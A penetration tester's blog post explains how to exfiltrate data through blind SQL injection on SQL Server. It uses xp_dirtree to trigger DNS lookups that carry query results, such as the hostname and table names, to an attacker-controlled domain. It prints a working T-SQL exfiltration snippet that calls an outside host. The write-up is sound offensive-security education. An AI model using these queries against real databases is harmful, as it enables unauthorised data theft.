SQLi Data Exfiltration via DNS

By Mike Saunders | November 30, 2018

Did you know you can use DNS queries to exfiltrate data from a database via SQLi? No? Then continue reading! I’ll walk through some techniques you can use to enumerate and exfiltrate data from a DB server via blind SQLi.

On a recent web app test, I encountered a situation where I had identified a potential SQLi. Burp confirmed the SQL injection vulnerability via DNS interaction using the Collaborator service. I tried to do some additional enumeration and exfiltration using SQLmap, but I wasn’t able to get this working right away due to a WAF blocking requests due to how SQLmap was structuring the headers. I needed another way to validate the SQLi and show that data could be recovered from the server.

Burp scanner SQLi result, detected using collaborator Burp scanner SQLi result, detected using collaborator

In a previous blog, I talked about capturing SQL Server user hashes via SQLi using xp_dirtree. I tried the same approach, but was unsuccessful due to egress filtering on the client’s firewalls. In that previous article, I also referenced a blog post by GracefulSecurity. Once again, this blog came in handy.

Even if there’s egress filtering in place, xp_dirtree can still be used to exfiltrate data from a network. This is due to the fact that the SQL server has to perform a DNS lookup on the target of the xp_dirtree operation. Data can be added as the host or subdomain part of a domain name. For example, if I set up a DNS server at collaborator.redsiege.net, I can force xp_dirtree to perform a DNS lookup on data.collaborator.redsiege.net and my DNS server will receive the query for that host, allowing me to extract the data from the request. Let’s look at this in more detail.

Consider the following code:

DECLARE @data varchar(1024);
SELECT @data = (SELECT HOST_NAME()); 
EXEC('master.dbo.xp_dirtree "\\'+@data+'.collaborator.redsiege.net\foo$"');

In this SQL query, we declare a variable named data, we populate that variable with the results of SELECT HOST_NAME(), and then attempt an xp_dirtree on \\hostname.collaborator.redsiege.net.

SQL query to retrieve hostname

SQL query to retrieve hostname

My test system is named INTRUDER. Performing this query on my test system caused a lookup for INTRUDER.collaborator.redsiege.net, as seen below.

Hostname Enumeration

Hostname Received via DNS Query

At this point, I knew I had a reliable way to exfiltrate data, even if I needed to do it somewhat manually. Of course, for this demo I’m showing results using the SQL Server Management Studio to issue queries, but in practice this is no different that doing it through SQLi. The only difference is the need to URL-encode parts of the query.

Sometimes we take for granted just how much work SQLmap is doing for us. Consider the process of enumerating table names from a database. In the example below you’ll find a query that returns a table name from the Northwind database.

Table Name Query

Table Name Query

What’s going on in this query? You’ll notice that there are 2 SELECT statements that make up @data. The inner SELECT statement, which is called out in the screenshot above, returns the top 10 results of table names from the Northwind database, sorted in ascending alphabetical order. The outer (first) SELECT statement then selects the first result of this result set sorted in descending alphabetical order. The result of this query is that we retrieve the name of the 10th table in the Northwind database. Confused? Let’s break it down.

Below we have the inner SELECT statement. As you can see, it returns 10 results, sorted in ascending alphabetical order.

Inner SELECT returns 10 results Inner SELECT returns 10 results

As you can see below, the full query returns only the 10th table name. The reason this works is because we first return 10 results, sorted in ascending alphabetical order, and then we perform a second SELECT where only the 1st result, sorted in descending alphabetical order, is returned. This means we return only the 10th result from the list of table names.

Full Query Returns Only 10th Result Full Query Returns Only 10th Result[/caption]

Knowing this, we can use Intruder to iterate over all possible table names by simply modifying the second SELECT statement and increasing the number of results in each request.

Using Intruder to Iterate Table Names Using Intruder to Iterate Table Names[/caption]

You now have another tool in your kit if you encounter a blind SQLi on an engagement and SQLmap isn’t working for you. Here are a few links I found helpful going through this process:

Obfuscating Shellcode Using Jargon

By Red Siege | July 31, 2023

by Mike Saunders, Principal Security Consultant In a recent blog , we discussed how encrypting shellcode leads to increased entropy, which may result in your shellcode loader being blocked and/or […]

Learn More
Obfuscating Shellcode Using Jargon

Browser Only Web Application Testing

By Red Siege | July 24, 2023

By: Ian Briley, Security Consultant Spoiler Alert: Burp is the number one tool most people use while testing web applications. If you want to be an open-source champion, ZAP from […]

Learn More
Browser Only Web Application Testing

Introduction to Mythic C2

By Red Siege | June 28, 2023

By: Justin Palk, Senior Security Consultant Continuing along with my occasional series looking at how to set up and use various C2 frameworks, this is a guide to Mythic C2. Developed […]

Learn More
Introduction to Mythic C2

Find Out What’s Next

Stay in the loop with our upcoming events.